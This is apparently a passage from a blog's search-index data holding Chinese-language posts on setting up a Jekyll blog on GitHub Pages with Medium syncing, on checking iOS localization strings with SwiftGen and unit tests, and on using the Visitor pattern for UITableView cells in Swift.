# The global switch for posts comments, e.g., 'disqus'. Keep it empty means disable # The active options are as follows: disqus: shortname: zhgchgli # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname # utterances settings › https://utteranc.es/ utterances: repo: # <gh-username>/<repo> issue_term: # < url | pathname | title | ...> # Giscus options › https://giscus.app giscus: repo: # <gh-username>/<repo> repo_id: category: category_id: mapping: # optional, default to 'pathname' input_position: # optional, default to 'bottom' lang: # optional, default to the value of `site.lang`# Self-hosted static assets, optional › https://github.com/cotes2020/chirpy-static-assetsassets: self_host: enabled: # boolean, keep empty means false # specify the Jekyll environment, empty means both # only works if `assets.self_host.enabled` is 'true' env: # [development|production]paginate: 10# ------------ The following options are not recommended to be modified ------------------kramdown: syntax_highlighter: rouge syntax_highlighter_opts: # Rouge Options › https://github.com/jneen/rouge#full-options css_class: highlight # default_lang: console span: line_numbers: false block: line_numbers: true start_line: 1collections: tabs: output: true sort_by: orderdefaults: - scope: path: '' # An empty string here means all files in the project type: posts values: layout: post comments: true # Enable comments in posts. toc: true # Display TOC column in posts. # DO NOT modify the following parameter unless you are confident enough # to update the code of all other post links in this project. permalink: /posts/:title/ - scope: path: _drafts values: comments: false - scope: path: '' type: tabs # see `site.collections` values: layout: page permalink: /:title/ - scope: path: assets/img/favicons values: swcache: true - scope: path: assets/js/dist values: swcache: truesass: style: compressedcompress_html: clippings: all comments: all endings: all profile: false blanklines: false ignore: envs: [development]exclude: - '*.gem' - '*.gemspec' - tools - README.md - LICENSE - gulpfile.js - node_modules - package*.jsonjekyll-archives: enabled: [categories, tags] layouts: category: category tag: tag permalinks: tag: /tags/:name/ category: /categories/:name/請依照註解將設定替換成您的內容。 ⚠️ _config.yml 有調整都需要重新啟動本地網站!才會套用效果預覽網站依賴安裝完成後,可以下 bundle exec jekyll s 啟動本地網站:複製其中的網址 http://127.0.0.1:4000/ 貼到瀏覽器打開本地預覽成功!此 Terminal 開著,本地網站就開著,Terminal 會持續更新網站存取紀錄,方便我們除錯。我們可以再開一個新的 Termnial 做後續的其他操作。Jeklly 目錄結構依照樣板不同可能會有不同的資料夾跟設定檔案,文章目錄在: _posts/ :文章會放在這個目錄下文章檔案命名規則: YYYY – MM – DD - 文章檔案名稱 .md assets/ :網站資源目錄,網站用圖片或 文章內的圖片 都要放置於此其他目錄 _incloudes、_layouts、_sites、_tabs… 都可讓你做進階的擴充修改。Jeklly 使用 Liquid 做為頁面模板引擎,頁面模板是類似繼承方式組成:使用者可自由客製化頁面,引擎會先看使用者有沒有建立對應頁面的客製化檔案 -> 如果沒有則看樣板有沒有 -> 如果沒有就用原始的 Jekyll 樣式呈現。所以我們可以很輕易地對任何頁面做客製化,只需要在相對應的目錄建立一樣的檔案名稱即可!建立/編輯文章 我們可以先把 _posts/ 目錄下的範例文章檔案全數刪除。使用 Visual Code (免費) 或 Typora (付費) 建立 Markdown 檔案,這邊以 Visual Code 為例: 文章檔案命名規則: YYYY – MM – DD - 文章檔案名稱 .md 建議以英文為檔案名稱 (SEO 最佳化),這個名稱就會是網址的路徑文章 內容頂部 Meta :---layout: posttitle: \"安安\"description: ZhgChgLi 的第一篇文章date: 2022-07-16 10:03:36 +0800categories: Jeklly Lifeauthor: ZhgChgLitags: [ios]--- layout: post title: 文章標題 (og:title) description: 文章描述 (og:description) date: 文章發表時間 (不可以是未來) author: 作者 (meta:author) tags: 標籤 (可多個) categories: 分類 (單個,用空格區分子母分類 Jeklly Life -> Jeklly 目錄下的 Life 目錄)文章內容 :使用 Markdown 格式撰寫:---layout: posttitle: \"安安\"description: ZhgChgLi 的第一篇文章date: 2022-07-16 10:03:36 +0800categories: Jeklly Lifeauthor: ZhgChgLitags: [ios]---# HiHi!你好啊我是 **ZhgChgLi**圖片:![](/assets/post_images/DSC_2297.jpg)成果: ⚠️ 文章調整不需要重新啟動網站,檔案變更後會直接渲染顯示,如果過一陣子都沒出現修改內容,可能是文章內容格式有誤導致渲染失敗,可回到 Terminal 查看原因。從 Medium 下載文章並轉成 Markdown 放入 Jekyll有了基本的 Jekyll 知識後我們繼續向前邁進,使用 ZMediumToMarkdown 工具將現有在 Medium 網站上的文章下載並轉換成 Markdwon 格式放到我們的 Blog 資料夾中。cd 到 blog 目錄下後,下以下指令將 Medium 上的該使用者所有文章都下載下來:ZMediumToMarkdown -j 你的 Meidum 帳號等待所有文章下載完成。。。 如有遇到任何下載問題、意外出錯歡迎 與我聯絡 ,這個下載器是我撰寫的( 開發心得 ),可以最快速直接地幫你解決問題。下載完成後,回到本地網站就能預覽成果囉。完成!!我們已經無痛地將 Medium 文章導入到 Jekyll 囉!可以檢查一下文章有無跑版、圖片有無缺失,如果有一樣歡迎 回報給我 協助修復。上傳內容到 Repo本地預覽內容沒問題後,我們就要將內容 Push 到 Github Repo 囉。依序使用以下 Git 指令操作:git add .git commit -m \"update post\"git pushPush 完成後回到 Github 上,可以看到 Actions 有 CD 再跑:約等待 5 分鐘…部署完成!首次部署完成設定首次部署完成要更改以下設定:否則前往網站只會出現:--- layout: home # Index page ---「Save」後不會馬上生效,要回到「Actions」頁面再一次重新等待部署。重新部署完成後,就能成功進入網站了:Demo -> zhgchg.li現在你也擁有一個免費的 Jekyll 個人 Blog 囉!!關於部署每次 Push 內容到 Repo 都會觸發重新部署,要等到部署成功,更改才會真正生效。綁定自訂網域如果不喜歡 zhgchgli0718.github.io Github 網址,可以從 Namecheap 購買您喜歡的網域或是使用 Dot.tk 註冊免費 .tk 結尾的網域。購買網域後進到網域後台:加上以下四個 Type A Record 紀錄A Record @ 185.199.108.153A Record @ 185.199.109.153A Record @ 185.199.110.153A Record @ 185.199.111.153網域後台新增好設定後,回到 Github Repo Settings:在 Custom domain 的地方填入你的網域,然後按「Save」。等待 DNS 通了之後,就可以用 zhgchg.li 取代掉原本的 github.io 網址。 ⚠️ DNS 設定至少需要 5 分鐘 ~ 72 小時才會生效,如果一直無法認證過;請稍後再試。雲端、全自動 Medium 同步機制每次有新文章都要用電腦手動跑 ZMediumToMarkdown 然後再 Push 到專案,嫌麻煩嗎?ZMediumToMarkdown 其實還提供貼心的 Github Action 功能 ,可以讓你解放電腦、全自動幫你同步 Medium 文章到你的網站上。前往 Repo 的 Actions 設定:點擊「New workflow」點擊「set up a workflow yourself」 檔案名稱修改為: ZMediumToMarkdown.yml 檔案內容如下:name: ZMediumToMarkdownon: workflow_dispatch: schedule: - cron: \"10 1 15 * *\" # At 01:10 on day-of-month 15.jobs: ZMediumToMarkdown: runs-on: ubuntu-latest steps: - name: ZMediumToMarkdown Automatic Bot uses: ZhgChgLi/ZMediumToMarkdown@main with: command: '-j 你的 Meidum 帳號' cron : 設定執行週期 (每週?每個月?每天?),這邊是設定每個月 15 號凌晨 1:15 會自動執行 command: 填入你的 Medium 帳號在 -j 後面點擊右上方「Start commit」->「Commit new file」完成 Github Action 建立。建立完成後回到 Actions 就會出現 ZMediumToMarkdown Action。除了時間到自動執行外還可以依照以下步驟,手動觸發執行:Actions -> ZMediumToMarkdown -> Run workflow -> Run workflow。執行後,ZMediumToMarkdown 就會直接透過 Github Action 的機器跑同步 Medium 文章到 Repo 的腳本:跑完後同樣會觸發重新部署,重新部署完成後到網站就會出現最新的內容了。🚀 完全無需人工操作!也就是說未來你還是可以繼續更新 Medium 文章,腳本都會貼心地自動幫你從雲端同步內容到你自己的網站上!我的 Blog Repo有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 為多語系字串買份保險吧!", "url": "/posts/48a8526c1300/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, localization, unit-testing, xcode, swift", "date": "2022-07-15 18:10:04 +0800", "snippet": "iOS 為多語系字串買份保險吧!使用 SwifGen & UnitTest 確保多語系操作的安全Photo by Mick Haupt問題純文字檔案iOS 的多語系處理方式是 Localizable.strings 純文字檔案,不像 Android 是透過 XML 格式來管理;所以在日常開發上就會有不小心把語系檔改壞或是漏加的風險再加上多語系不會在 Build Time 檢查出錯誤,...", "content": "iOS 為多語系字串買份保險吧!使用 SwifGen & UnitTest 確保多語系操作的安全Photo by Mick Haupt問題純文字檔案iOS 的多語系處理方式是 Localizable.strings 純文字檔案,不像 Android 是透過 XML 格式來管理;所以在日常開發上就會有不小心把語系檔改壞或是漏加的風險再加上多語系不會在 Build Time 檢查出錯誤,往往都是上線後,某個地區的使用者回報才發現問題,會大大降低使用者信心程度。之前血淋淋的案例,大家 Swift 寫的太習慣忘記 Localizable.strings 要加 ; ,導致某個語系上線後從漏掉 ; 的語句往後全壞掉;最後緊急 Hotfix 才化險為夷。多語系有問題就會直接把 Key 顯示給使用者如上圖所示,假設 DESCRIPTION Key 漏加, App就會直接顯示 DESCRIPTION 給使用者。檢查需求 Localizable.strings 格式正確檢查 (換行結尾需加上 ; 、合法 Key Value 對應) 程式碼中有取用的多語系 Key 要在 Localizable.strings 檔有對應定義 Localizable.strings 檔各個語系都要有相應的 Key Value 紀錄 Localizable.strings 檔不能有重複的 Key (否則 Value 會被意外覆蓋)解決方案使用 Swift 撰寫完整檢查工具之前的做法是「 Xcode 直接使用 Swift 撰寫 Shell Script! 」參考 Localize 🏁 工具使用 Swift 開發 Command Line Tool 從外部做多語系檔案檢查,再把腳本放到 Build Phases Run Script 中,在 Build Time 執行檢查。優點: 檢查程式是由外部注入,不依賴在專案上,可以不透過 XCode、不需 Build 專案也能執行檢查、檢查功能能精確到哪個檔案的第幾行;另外還能做 Format 功能 (排序多語系 Key A->Z)。缺點: 增加 Build Time ( + ~= 3 mins)、流程發散,腳本有問題或需因應專案架構調整時難以交接維護,因這塊不在專案內,除了加入這段檢查進來的人知道整個邏輯,其他協作者很難碰觸到這塊。 有興趣的朋友可以參考之前的那篇文章,本篇主要介紹的方式是透過 XCode 13+SwiftGen+UnitTest 來達成檢查 Localizable.strings 的所有功能。XCode 13 內建 Build Time 檢查 Localizable.strings 檔案格式正確性升級 XCode 13 之後就內建了 Build Time 檢查 Localizable.strings 檔案格式的功能,經測試檢查的規格相當完整,除了漏掉 ; 外如有多餘無意義的字串也會被擋下來。使用 SwiftGen 取代原始 NSLocalizedString String Base 存取方式SwiftGen 能幫助我們將原本的 NSLocalizedString String 存取方式改成 Object 存取,防止不小心打錯字、忘記在 Key 宣告的情況出現。SwiftGen 核心也是 Command Line Tool;但是這工具在業界蠻流行的而且有完整的文件及社群資源在維護,不必害怕導入這個工具後續難維護的問題。Installation可依照您的環境或 CI/CD 服務設定去選擇安裝方式,這邊 Demo 直接用最直接的 CocoaPods 進行安裝。 請注意 SwiftGen 並不是真的 CocoaPods,他不會跟專案中的程式碼有任何依賴;使用 CocoaPods 安裝 SwiftGen 單純只是透過它下載這個 Command Line Tool 執行檔回來。在 podfile 中加入 swiftgen pod:pod 'SwiftGen', '~> 6.0'Initpod install 之後打開 Terminal cd 到專案下/L10NTests/Pods/SwiftGen/bin/swiftGen config initinit swiftgen.yml 設定檔,並打開它strings: - inputs: - \"L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings\" outputs: templateName: structured-swift5 output: \"L10NTests/Supporting Files/SwiftGen-L10n.swift\" params: enumName: \"L10n\"貼上並修改成符合您專案的格式:inputs: 專案語系檔案位置 (建議指定 DevelopmentLocalization 語系的語系檔)outputs: output: 轉換結果的 swift 檔案位置params: enumName: 物件名稱templateName: 轉換模板可以下 swiftGen template list 取得內建的模板列表flat v.s. structured差別在如果 Key 風格是 XXX.YYY.ZZZ flat 模板會轉換成小駝峰;structured 模板會照原始風格轉換成 XXX.YYY.ZZZ 物件。純 Swift 專案可直接使用內建模板,但若是 Swift 混 OC 的專案就需要自行客製化模板:// swiftlint:disable all// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen{% if tables.count > 0 %}{% set accessModifier %}{% if param.publicAccess %}public{% else %}internal{% endif %}{% endset %}import Foundation// swiftlint:disable superfluous_disable_command file_length implicit_return// MARK: - Strings{% macro parametersBlock types %}{% filter removeNewlines:\"leading\" %} {% for type in types %} {% if type == \"String\" %} _ p{{forloop.counter}}: Any {% else %} _ p{{forloop.counter}}: {{type}} {% endif %} {{ \", \" if not forloop.last }} {% endfor %}{% endfilter %}{% endmacro %}{% macro argumentsBlock types %}{% filter removeNewlines:\"leading\" %} {% for type in types %} {% if type == \"String\" %} String(describing: p{{forloop.counter}}) {% elif type == \"UnsafeRawPointer\" %} Int(bitPattern: p{{forloop.counter}}) {% else %} p{{forloop.counter}} {% endif %} {{ \", \" if not forloop.last }} {% endfor %}{% endfilter %}{% endmacro %}{% macro recursiveBlock table item %} {% for string in item.strings %} {% if not param.noComments %} {% for line in string.translation|split:\"\\n\" %} /// {{line}} {% endfor %} {% endif %} {% if string.types %} {{accessModifier}} static func {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}}({% call parametersBlock string.types %}) -> String { return {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\", {% call argumentsBlock string.types %}) } {% elif param.lookupFunction %} {# custom localization function is mostly used for in-app lang selection, so we want the loc to be recomputed at each call for those (hence the computed var) #} {{accessModifier}} static var {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}}: String { return {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\") } {% else %} {{accessModifier}} static let {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}} = {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\") {% endif %} {% endfor %} {% for child in item.children %} {% call recursiveBlock table child %} {% endfor %}{% endmacro %}// swiftlint:disable function_parameter_count identifier_name line_length type_body_length{% set enumName %}{{param.enumName|default:\"L10n\"}}{% endset %}@objcMembers {{accessModifier}} class {{enumName}}: NSObject { {% if tables.count > 1 or param.forceFileNameEnum %} {% for table in tables %} {{accessModifier}} enum {{table.name|swiftIdentifier:\"pretty\"|escapeReservedKeywords}} { {% filter indent:2 %}{% call recursiveBlock table.name table.levels %}{% endfilter %} } {% endfor %} {% else %} {% call recursiveBlock tables.first.name tables.first.levels %} {% endif %}}// swiftlint:enable function_parameter_count identifier_name line_length type_body_length// MARK: - Implementation Detailsextension {{enumName}} { private static func tr(_ table: String, _ key: String, _ args: CVarArg...) -> String { {% if param.lookupFunction %} let format = {{ param.lookupFunction }}(key, table) {% else %} let format = {{param.bundle|default:\"BundleToken.bundle\"}}.localizedString(forKey: key, value: nil, table: table) {% endif %} return String(format: format, locale: Locale.current, arguments: args) }}{% if not param.bundle and not param.lookupFunction %}// swiftlint:disable convenience_typeprivate final class BundleToken { static let bundle: Bundle = { #if SWIFT_PACKAGE return Bundle.module #else return Bundle(for: BundleToken.self) #endif }()}// swiftlint:enable convenience_type{% endif %}{% else %}// No string found{% endif %}以上提供一個網路搜集來&客製化過兼容 Swift 和 OC 的模板,可自行建立 flat-swift5-objc.stencil File 然後貼上內容或 點此直接下載 .zip 。使用客製化模板的話就不是用 templateName 了,而要改宣告 templatePath:strings: - inputs: - \"L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings\" outputs: templatePath: \"path/to/flat-swift5-objc.stencil\" output: \"L10NTests/Supporting Files/SwiftGen-L10n.swift\" params: enumName: \"L10n\"將 templatePath 路徑指定到 .stencil 模板在專案中的位置即可。Generator設定好之後可以回到 Termnial 手動下:/L10NTests/Pods/SwiftGen/bin/swiftGen執行轉換,第一次轉換後請手動從 Finder 將轉換結果檔案 (SwiftGen-L10n.swift) 拉到專案中,程式才能使用。Run Script在專案設定中 -> Build Phases -> + -> New Run Script Phases -> 貼上:if [[ -f \"${PODS_ROOT}/SwiftGen/bin/swiftgen\" ]]; then echo \"${PODS_ROOT}/SwiftGen/bin/swiftgen\" \"${PODS_ROOT}/SwiftGen/bin/swiftgen\"else echo \"warning: SwiftGen is not installed. Run 'pod install --repo-update' to install it.\"fi這樣在每次 Build 專案時都會跑 Generator 產出最新的轉換結果。CodeBase 中如何使用?L10n.homeTitleL10n.homeDescription(\"ZhgChgLi\") // with arg 有了 Object Access 後就不可能出現打錯字及 Code 裡面有在用的 Key 但 Localizable.strings 檔忘記宣告的情況。 但 SwiftGen 只能指定從某個語系產生,所以無法阻擋產生的語系有這個 Key 但在其他語系忘記定義的狀況;此狀況要用下面的 UnitTest 才能保護。轉換轉換才是這個問題最困難的地方,因為已開發完成的專案中大量使用 NSLocalizedString 要將其轉換成新的 L10n.XXX 格式、如果是有帶參數的語句又更複雜 String(format: NSLocalizedString ,另外如果有混 OC 還要考慮 OC 的語法與 Swift 不同。沒有什麼特別的解法,只能自己寫一個 Command Line Tools,可參考 上一篇文章 中使用 Swift 掃描專案目錄、Parse 出 NSLocalizedString 的 Regex 撰寫一個小工具去轉換。建議一次轉換一個情境,能 Build 過再轉換下一個。 Swift -> NSLocalizedString 無參數 Swift -> NSLocalizedString 有參數情況 OC -> NSLocalizedString 無參數 OC -> NSLocalizedString 有參數情況透過 UnitTest 檢查各語系檔與主要語系檔案有沒有缺漏及 Key 有無重複我們可以透過撰寫 UniTest 從 Bundle 讀取出 .strings File 內容,並加以測試。從 Bundle 讀取出 .strings 並轉成物件:class L10NTestsTests: XCTestCase { private var localizations: [Bundle: [Localization]] = [:] override func setUp() { super.setUp() let bundles = [Bundle(for: type(of: self))] // bundles.forEach { bundle in var localizations: [Localization] = [] bundle.localizations.forEach { lang in var localization = Localization(lang: lang) if let lprojPath = bundle.path(forResource: lang, ofType: \"lproj\"), let lprojBundle = Bundle(path: lprojPath) { let filesInLPROJ = (try? FileManager.default.contentsOfDirectory(atPath: lprojBundle.bundlePath)) ?? [] localization.localizableStringFiles = filesInLPROJ.compactMap { fileFullName -> L10NTestsTests.Localization.LocalizableStringFile? in let fileName = URL(fileURLWithPath: fileFullName).deletingPathExtension().lastPathComponent let fileExtension = URL(fileURLWithPath: fileFullName).pathExtension guard fileExtension == \"strings\" else { return nil } guard let path = lprojBundle.path(forResource: fileName, ofType: fileExtension) else { return nil } return L10NTestsTests.Localization.LocalizableStringFile(name: fileFullName, path: path) } localization.localizableStringFiles.enumerated().forEach { (index, localizableStringFile) in if let fileContent = try? String(contentsOfFile: localizableStringFile.path, encoding: .utf8) { let lines = fileContent.components(separatedBy: .newlines) let pattern = \"\\\"(.*)\\\"(\\\\s*)(=){1}(\\\\s*)\\\"(.+)\\\";\" let regex = try? NSRegularExpression(pattern: pattern, options: []) let values = lines.compactMap { line -> Localization.LocalizableStringFile.Value? in let range = NSRange(location: 0, length: (line as NSString).length) guard let matches = regex?.firstMatch(in: line, options: [], range: range) else { return nil } let key = (line as NSString).substring(with: matches.range(at: 1)) let value = (line as NSString).substring(with: matches.range(at: 5)) return Localization.LocalizableStringFile.Value(key: key, value: value) } localization.localizableStringFiles[index].values = values } } localizations.append(localization) } } self.localizations[bundle] = localizations } }}private extension L10NTestsTests { struct Localization: Equatable { struct LocalizableStringFile { struct Value { let key: String let value: String } let name: String let path: String var values: [Value] = [] } let lang: String var localizableStringFiles: [LocalizableStringFile] = [] static func == (lhs: Self, rhs: Self) -> Bool { return lhs.lang == rhs.lang } }}我們定義我們定義了一個 Localization 來存放頗析出來的資料,從 Bundle 中去找 lproj 再從其中找出 .strings 然後再使用正則表示法將多語系語句轉換成物件放回到 Localization ,以利後續測試使用。這邊有幾個需要注意的: 使用 Bundle(for: type(of: self)) 從 Test Target 取得資源 記得將 Test Target 的 STRINGS_FILE_OUTPUT_ENCODING 設為 UTF-8 ,否則使用 String 讀取檔案內容時會失敗 (預設會是 Biniary) 使用 String 讀取而不用 NSDictionary 的原因是,我們需要測試重複的 Key,使用 NSDictionary 會在讀取的時候就蓋掉重複的 Key 了 記得 .strings File 要增加 Test TargetTestCase 1. 測試同一個 .strings 檔案內有無重複定義的 Key:func testNoDuplicateKeysInSameFile() throws { localizations.forEach { (_, localizations) in localizations.forEach { localization in localization.localizableStringFiles.forEach { localizableStringFile in let keys = localizableStringFile.values.map { $0.key } let uniqueKeys = Set(keys) XCTAssertTrue(keys.count == uniqueKeys.count, \"Localized Strings File: \\(localizableStringFile.path) has duplicated keys.\") } } }}Input:Result:TestCase 2. 與 DevelopmentLocalization 語言相比,有無缺少/多餘的 Key:func testCompareWithDevLangHasMissingKey() throws { localizations.forEach { (bundle, localizations) in let developmentLang = bundle.developmentLocalization ?? \"en\" if let developmentLocalization = localizations.first(where: { $0.lang == developmentLang }) { let othersLocalization = localizations.filter { $0.lang != developmentLang } developmentLocalization.localizableStringFiles.forEach { developmentLocalizableStringFile in let developmentLocalizableKeys = Set(developmentLocalizableStringFile.values.map { $0.key }) othersLocalization.forEach { otherLocalization in if let otherLocalizableStringFile = otherLocalization.localizableStringFiles.first(where: { $0.name == developmentLocalizableStringFile.name }) { let otherLocalizableKeys = Set(otherLocalizableStringFile.values.map { $0.key }) if developmentLocalizableKeys.count < otherLocalizableKeys.count { XCTFail(\"Localized Strings File: \\(otherLocalizableStringFile.path) has redundant keys.\") } else if developmentLocalizableKeys.count > otherLocalizableKeys.count { XCTFail(\"Localized Strings File: \\(otherLocalizableStringFile.path) has missing keys.\") } } else { XCTFail(\"Localized Strings File not found in Lang: \\(otherLocalization.lang)\") } } } } else { XCTFail(\"developmentLocalization not found in Bundle: \\(bundle)\") } }}Input: (相較 DevelopmentLocalization 其他語系缺少宣告 Key)Output:Input: (DevelopmentLocalization 沒有這個 Key,但在其他語系出現)Output:總結綜合以上方式,我們使用: 新版 XCode 幫我們確保 .strings 檔案格式正確性 ✅ SwiftGen 確保 CodeBase 引用多語系時不會打錯或沒宣告就引用 ✅ UnitTest 確保多語系內容正確性 ✅優點: 執行速度快,不拖累 Build Time 只要是 iOS 開發者都會維護進階Localized File Format這個解決方案無法達成,還是需使用原本 用 Swift 寫的 Command Line Tool 來達成 ,不過 Format 部分可以在 git pre-commit 做就好;沒有 diff 調整就不做,避免每次 build 都要跑一次:#!/bin/shdiffStaged=${1:-\\-\\-staged} # use $1 if exist, default --staged.git diff --diff-filter=d --name-only $diffStaged | grep -e 'Localizable.*\\.\\(strings\\|stringsdict\\)$' | \\ while read line; do // do format for ${line}done.stringdict同樣的原理也可用在 .stringdict 上CI/CDswiftgen 可以不用放在 build phase,因為每次 build 都會跑一次,而且 Build 完程式碼才會出現,可以改成有調整再下指令產生就好。明確得到錯在哪個 Key可優化 UnitTest 的程式,使之能輸出明確是哪個 Key Missing/Reductant/Duplicate。使用第三方工具讓工程師完全解放多語系工作如同之前「 2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密 」的演講內容,在大團隊中多語系工作可以透過第三方服務拆開,多語系工作的依賴關係。工程師只需定義好 Key,多語系會在 CI/CD 階段從平台自動匯入,少了人工維護的階段;也比較不容易出錯。Special ThanksWei Cao , iOS Developer @ Pinkoi有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Visitor Pattern in TableView", "url": "/posts/60473cb47550/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, design-patterns, visitor-pattern, uitableview, refactoring", "date": "2022-07-08 15:58:30 +0800", "snippet": "Visitor Pattern in TableView使用 Visitor Pattern 增加 TableView 的閱讀和擴充性Photo by Alex wong前言承接上篇「 Visitor Pattern in Swift 」介紹 Visitor 模式及一個簡單的實務應用場景,此篇將介紹另一個在 iOS 需求開發上的實際應用。需求場景要開發一個動態牆功能,有多種不同類型的區塊需要...", "content": "Visitor Pattern in TableView使用 Visitor Pattern 增加 TableView 的閱讀和擴充性Photo by Alex wong前言承接上篇「 Visitor Pattern in Swift 」介紹 Visitor 模式及一個簡單的實務應用場景,此篇將介紹另一個在 iOS 需求開發上的實際應用。需求場景要開發一個動態牆功能,有多種不同類型的區塊需要動態組合顯示。以 StreetVoice 的動態牆為例:如上圖所示,動態牆是由多種不同類型的區塊動態組合而成: Type A: 活動動態 Type B: 追蹤推薦 Type C: 新歌動態 Type D: 新專輯動態 Type E: 新追縱動態 Type …. 更多類型可預期會在未來隨著功能迭代越來越多。問題在沒有任何架構設計的情況下 Code 可能會長這樣:func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let row = datas[indexPath.row] switch row.type { case .invitation: let cell = tableView.dequeueReusableCell(withIdentifier: \"invitation\", for: indexPath) as! InvitationCell // config cell with viewObject/viewModel... return cell case .newSong: let cell = tableView.dequeueReusableCell(withIdentifier: \"newSong\", for: indexPath) as! NewSongCell // config cell with viewObject/viewModel... return cell case .newEvent: let cell = tableView.dequeueReusableCell(withIdentifier: \"newEvent\", for: indexPath) as! NewEventCell // config cell with viewObject/viewModel... return cell case .newText: let cell = tableView.dequeueReusableCell(withIdentifier: \"newText\", for: indexPath) as! NewTextCell // config cell with viewObject/viewModel... return cell case .newPhotos: let cell = tableView.dequeueReusableCell(withIdentifier: \"newPhotos\", for: indexPath) as! NewPhotosCell // config cell with viewObject/viewModel... return cell }}func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { let row = datas[indexPath.row] switch row.type { case .invitation: if row.isEmpty { return 100 } else { return 300 } case .newSong: return 100 case .newEvent: return 200 case .newText: return UITableView.automaticDimension case .newPhotos: return UITableView.automaticDimension }} 難以測試:什麼 Type 有什麼對應的邏輯輸出難以測試 難以擴充維護:需要新增新 Type 時,都要更動此 ViewController;cellForRow、heightForRow、willDisplay…四散在各個 Function 內,難保忘記改,或改錯 難以閱讀:全部邏輯都在 View 身上Visitor Pattern 解決方案Why?整理了一下物件關係,如下圖所示:我們有許多種類型的 DataSource (ViewObject) 需要與多種類型的操作器做交互,是一個很典型的 Visitor Double Dispatch 。How?為簡化 Demo Code 以下改用 PlainTextFeedViewObject 純文字動態、 MemoriesFeedViewObject 每日回憶、 MediaFeedViewObject 圖片動態,呈現設計。套用 Visitor Pattern 的架構圖如下:首先定義出 Visitor 介面,此介面用途是抽象宣告出操作器能接受的 DataSource 類型:protocol FeedVisitor { associatedtype T func visit(_ viewObject: PlainTextFeedViewObject) -> T? func visit(_ viewObject: MediaFeedViewObject) -> T? func visit(_ viewObject: MemoriesFeedViewObject) -> T? //...}各操作器實現 FeedVisitor 介面:struct FeedCellVisitor: FeedVisitor { typealias T = UITableViewCell.Type func visit(_ viewObject: MediaFeedViewObject) -> T? { return MediaFeedTableViewCell.self } func visit(_ viewObject: MemoriesFeedViewObject) -> T? { return MemoriesFeedTableViewCell.self } func visit(_ viewObject: PlainTextFeedViewObject) -> T? { return PlainTextFeedTableViewCell.self }}實現 ViewObject <-> UITableViewCell 對應。struct FeedCellHeightVisitor: FeedVisitor { typealias T = CGFloat func visit(_ viewObject: MediaFeedViewObject) -> T? { return 30 } func visit(_ viewObject: MemoriesFeedViewObject) -> T? { return 10 } func visit(_ viewObject: PlainTextFeedViewObject) -> T? { return 10 }}實現 ViewObject <-> UITableViewCell Height 對應。struct FeedCellConfiguratorVisitor: FeedVisitor { private let cell: UITableViewCell init(cell: UITableViewCell) { self.cell = cell } func visit(_ viewObject: MediaFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil } func visit(_ viewObject: MemoriesFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil } func visit(_ viewObject: PlainTextFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil }}實現 ViewObject <-> Cell 如何 Config 對應。當需要支援新的 DataSource (ViewObject) 時,只需在 FeedVisitor 介面上多加一個開口,並在各操作器中實現對應的邏輯。DataSource (ViewObject) 與操作器的綁定:protocol FeedViewObject { @discardableResult func accept<V: FeedVisitor>(visitor: V) -> V.T?}ViewObject 實現綁定的介面:struct PlainTextFeedViewObject: FeedViewObject { func accept<V>(visitor: V) -> V.T? where V : FeedVisitor { return visitor.visit(self) }}struct MemoriesFeedViewObject: FeedViewObject { func accept<V>(visitor: V) -> V.T? where V : FeedVisitor { return visitor.visit(self) }}struct MediaFeedViewObject: FeedViewObject { func accept<V>(visitor: V) -> V.T? where V : FeedVisitor { return visitor.visit(self) }}UITableView 中的實現:final class ViewController: UIViewController { @IBOutlet weak var tableView: UITableView! private let cellVisitor = FeedCellVisitor() private var viewObjects: [FeedViewObject] = [] { didSet { viewObjects.forEach { viewObject in let cellName = viewObject.accept(visitor: cellVisitor) tableView.register(cellName, forCellReuseIdentifier: String(describing: cellName)) } } } override func viewDidLoad() { super.viewDidLoad() tableView.delegate = self tableView.dataSource = self viewObjects = [ MemoriesFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject() ] // Do any additional setup after loading the view. }}extension ViewController: UITableViewDataSource { func numberOfSections(in tableView: UITableView) -> Int { return 1 } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return viewObjects.count } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let viewObject = viewObjects[indexPath.row] let cellName = viewObject.accept(visitor: cellVisitor) let cell = tableView.dequeueReusableCell(withIdentifier: String(describing: cellName), for: indexPath) let cellConfiguratorVisitor = FeedCellConfiguratorVisitor(cell: cell) viewObject.accept(visitor: cellConfiguratorVisitor) return cell }}extension ViewController: UITableViewDelegate { func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { let viewObject = viewObjects[indexPath.row] let cellHeightVisitor = FeedCellHeightVisitor() let cellHeight = viewObject.accept(visitor: cellHeightVisitor) ?? UITableView.automaticDimension return cellHeight }}結果 測試:符合單一職責原則,可針對每個操作器的每個資料單點進行測試 擴充維護:當需要支援新的 DataSource (ViewObject) 時只需在 Visitor 協議擴充一個開口,並在個別操作器 Visitor 